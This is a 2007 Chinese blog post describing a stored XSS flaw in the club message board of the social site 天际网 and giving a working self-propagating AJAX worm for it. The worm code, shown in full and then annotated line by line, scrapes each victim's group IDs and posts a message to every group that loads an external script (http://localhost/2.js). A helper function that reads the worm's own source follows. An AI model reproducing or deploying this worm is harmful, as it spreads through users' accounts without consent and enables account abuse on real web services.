天际网ajax worm分析及实现
By:Neeao [B.C.T] 2007-12-27
最近心血来潮想研究下ajax worm的传播,偶然发现了天际网的几处xss漏洞,其中一处为俱乐部处留言的地方没过滤好导致xss攻击。就写个ajax worm来玩玩了。
分析:
由于没有对script标记做很好的限制,使ajax worm的应用起来相对就容易的多了。
字符限制为1000,可以直接写源码进页面了。
刚开始用xmlhttp来获取数据和提交数据,不知道怎么回事,在IE下调试能用,在firefox下调试不起作用了。
后来发现天际网采用了一个叫做jquery的轻量级的javascript框架,于是直接调用框架中的ajax函数。
发现一个好处,采用系统自带框架的ajax函数,可以使ajax worm代码更短。
写了个简单的应用,一共10行,代码如下:
var indexhtml = $.ajax({url: "/Group/Index",async:false}).responseText;
var urllist = indexhtml.substring(indexhtml.indexOf("<blockquote>")+12,indexhtml.indexOf("</blockquote>")).match(/groupId=\d+/g);
if (urllist!=null){
for(i=0;i<urllist.length;i++){
var html = $.ajax({url: "/Group/GroupIndex?"+urllist[i],async: false}).responseText;
if(html.indexOf("http://localhost/2.js")==-1) {
$.ajax({type: "POST",url: "/Group/BBSDone?"+urllist[i],data:"content=元旦快乐!<script type='text/javascript' src='http://localhost/2.js'></script>&inIndex=true&"+urllist[i]});
}
}
}
源码分析如下:
//获取俱乐部主页源码
var indexhtml = $.ajax({url: "/Group/Index",async:false}).responseText;
//获取要感染的俱乐部IDlist
var urllist = indexhtml.substring(indexhtml.indexOf("<blockquote>")+12,indexhtml.indexOf("</blockquote>")).match(/groupId=\d+/g);
//如果当前用户加入的有俱乐部,则感染,没有则退出执行
if (urllist!=null){
//循环感染
for(i=0;i<urllist.length;i++){
//获取要感染俱乐部页面源码
var html = $.ajax({url: "/Group/GroupIndex?"+urllist[i],async: false}).responseText;
//判断是否已经感染,没感染则感染
if(html.indexOf("http://localhost/2.js")==-1) {
//感染
$.ajax({type: "POST",url: "/Group/BBSDone?"+urllist[i],data:"content=2008元旦快乐!<script type='text/javascript' src='http://localhost/2.js'></script>&inIndex=true&"+urllist[i]});
}
}
}
一个获取ajax worm蠕虫本身源码的函数,使用当前页面自己感染的时候或许有用。
function codes(){
var urlstr = document.location.href;
var code = $.ajax({url: urlstr,async: false}).responseText;
code = code.substring(code.indexOf("<!--code start-->"),code.lastIndexOf("<!--//code end-->"));
return code;
}